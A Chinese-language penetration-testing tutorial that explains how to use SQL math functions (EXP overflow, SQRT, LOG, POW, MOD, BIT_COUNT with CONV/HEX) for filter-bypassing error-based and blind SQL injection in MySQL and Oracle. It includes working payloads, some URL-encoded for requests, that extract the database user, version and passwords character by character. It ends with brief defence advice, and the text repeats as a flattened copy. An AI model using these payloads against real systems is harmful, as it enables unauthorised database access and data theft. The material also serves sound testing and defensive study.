探索SQL注入中数学函数的应用:绕过过滤、"算"出数据
字数 1220 2025-08-29 08:30:06

SQL注入中数学函数的应用:绕过过滤与数据提取技术

一、数学函数在SQL注入中的重要性

在渗透测试中,数学函数是绕过SQL注入防护的关键技术手段。由于以下原因,开发人员往往无法完全防御SQL注入:

  1. 业务影响和代码耦合性导致无法全面采用预编译
  2. 只能通过正则过滤或WAF进行表层防护
  3. 防御措施往往只是"欺骗"攻击者而非根本解决

数学函数作为原始输入与注入逻辑的桥梁,能够:

  • 绕过表层防御机制
  • 实现精确数据获取
  • 构造布尔/时间盲注
  • 触发报错泄露数据

二、数学函数在报错注入中的应用

EXP()函数利用

原理:利用exp()函数溢出触发报错

-- MySQL示例
SELECT EXP(~(SELECT * FROM (SELECT version())x))

技术细节

  1. exp()为指数函数,与ln()log()对数函数功能相反
  2. exp()运算超出709时会导致溢出错误
  3. 对0按位取反(~0)得到最大无符号BIGINT值
  4. 子查询结果取反后放入exp()触发报错

利用方式
通过报错信息获取数据库版本等敏感数据

三、盲注中的数学函数技巧

1. 时间盲注(Time-Based)

sqrt()函数

  • 对传入数据开平方
  • 传入数据小于0返回NULL(Oracle直接报错)
select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-114));

log()/log(m,n)函数

  • 返回自然数对数
  • n<0返回NULL(Oracle报错)
  • log(1)=0
select if ((log(ASCII(SUBSTR(user(),1,1))-113))=0,sleep(1),1);

pow(m,n)函数

  • 幂运算
  • 底数为负且指数非整数时报错
'+or+if(POW((ASCII(SUBSTR(user(),1,1))-114),0.5)=0,sleep(2),1)='1

mod(m,n)函数

  • 模运算(求余数)
  • 除数为零返回NULL(Oracle报错)
select sleep(3/ISNULL(MOD(0,ASCII(SUBSTR(user(),1,1))-114)));

ACOS(n)和ASIN(n)函数

  • 反三角函数
  • 取值范围(-1~1),超出返回NULL(Oracle报错)
  • 余弦函数峰值约3.14(推荐使用)

2. 布尔盲注(Boolean-Based)

基础利用

SELECT * FROM users WHERE id=1 AND (LENGTH(database())=8)*1=1

sqrt()函数利用

-- 通过ISNULL判断
SELECT ISNULL(sqrt(ASCII(SUBSTR(user(),1,1))-83))

-- 直接利用运算结果
SELECT * FROM users WHERE sqrt(ASCII(SUBSTR(user(),1,1))-83) IS NULL

Oracle中的利用

利用sqrt()在Oracle中小于0时报错的特性:

  1. 当第一次出现异常时,ASCII值为fuzz结果-1
  2. 或最后一次正常值为sqrt(0)
  3. 通过响应差异判断正确ASCII值

四、数据转换绕过技术

1. 字符串转数值

-- ASCII码转换
SELECT ORD('a')-96  -- 返回1

-- 结合SUBSTR逐位提取
SELECT (ASCII(SUBSTR(password,1,1)) > 100) FROM users WHERE id=1

2. 进制转换绕过过滤

-- 使用CONV()函数
SELECT CONV(HEX(SUBSTR(user(),1,1)),16,10)  -- 字符转十进制

五、数学函数与位运算结合

BIT_COUNT()函数

  • 计算数字中1的个数
  • 例如BIT_COUNT(1)返回1(0000 0001)

位运算注入示例

-- 判断最低位是否为1
SELECT BIT_COUNT(ASCII('a') & 1)  -- a=97(0110 0001) & 1=1

-- 完整位探测
SELECT sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)&1));

-- 实际注入示例
1'+or+1/sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)%261))='1

位运算注入原理

  1. 通过CONV和HEX将字符转为十进制
  2. 使用&运算符逐位探测(128,64,32,16,8,4,2,1)
  3. 结合sqrt()等函数判断各位是否为1
  4. 组合各位结果得到完整ASCII值

六、防御建议

  1. 始终使用参数化查询/预编译语句
  2. 避免在SQL中直接拼接用户输入
  3. 对数学函数使用进行严格限制
  4. 实现多层防御机制(WAF+代码层防护)
  5. 错误信息处理规范化,避免泄露敏感信息

七、总结

数学函数在SQL注入中提供了多种绕过防护和提取数据的技术手段,渗透测试人员需要深入理解这些函数的特性和组合使用方式。同时,防御方应当从根本入手,而非依赖表层过滤,才能真正有效防御SQL注入攻击。

SQL注入中数学函数的应用:绕过过滤与数据提取技术 一、数学函数在SQL注入中的重要性 在渗透测试中,数学函数是绕过SQL注入防护的关键技术手段。由于以下原因,开发人员往往无法完全防御SQL注入: 业务影响和代码耦合性导致无法全面采用预编译 只能通过正则过滤或WAF进行表层防护 防御措施往往只是"欺骗"攻击者而非根本解决 数学函数作为原始输入与注入逻辑的桥梁,能够: 绕过表层防御机制 实现精确数据获取 构造布尔/时间盲注 触发报错泄露数据 二、数学函数在报错注入中的应用 EXP()函数利用 原理 :利用exp()函数溢出触发报错 技术细节 : exp() 为指数函数,与 ln() 和 log() 对数函数功能相反 当 exp() 运算超出709时会导致溢出错误 对0按位取反(~0)得到最大无符号BIGINT值 子查询结果取反后放入 exp() 触发报错 利用方式 : 通过报错信息获取数据库版本等敏感数据 三、盲注中的数学函数技巧 1. 时间盲注(Time-Based) sqrt()函数 对传入数据开平方 传入数据小于0返回NULL(Oracle直接报错) log()/log(m,n)函数 返回自然数对数 n <0返回NULL(Oracle报错) log(1)=0 pow(m,n)函数 幂运算 底数为负且指数非整数时报错 mod(m,n)函数 模运算(求余数) 除数为零返回NULL(Oracle报错) ACOS(n)和ASIN(n)函数 反三角函数 取值范围(-1~1),超出返回NULL(Oracle报错) 余弦函数峰值约3.14(推荐使用) 2. 布尔盲注(Boolean-Based) 基础利用 sqrt()函数利用 Oracle中的利用 利用sqrt()在Oracle中小于0时报错的特性: 当第一次出现异常时,ASCII值为fuzz结果-1 或最后一次正常值为sqrt(0) 通过响应差异判断正确ASCII值 四、数据转换绕过技术 1. 字符串转数值 2. 进制转换绕过过滤 五、数学函数与位运算结合 BIT_ COUNT()函数 计算数字中1的个数 例如BIT_ COUNT(1)返回1(0000 0001) 位运算注入示例 位运算注入原理 通过CONV和HEX将字符转为十进制 使用&运算符逐位探测(128,64,32,16,8,4,2,1) 结合sqrt()等函数判断各位是否为1 组合各位结果得到完整ASCII值 六、防御建议 始终使用参数化查询/预编译语句 避免在SQL中直接拼接用户输入 对数学函数使用进行严格限制 实现多层防御机制(WAF+代码层防护) 错误信息处理规范化,避免泄露敏感信息 七、总结 数学函数在SQL注入中提供了多种绕过防护和提取数据的技术手段,渗透测试人员需要深入理解这些函数的特性和组合使用方式。同时,防御方应当从根本入手,而非依赖表层过滤,才能真正有效防御SQL注入攻击。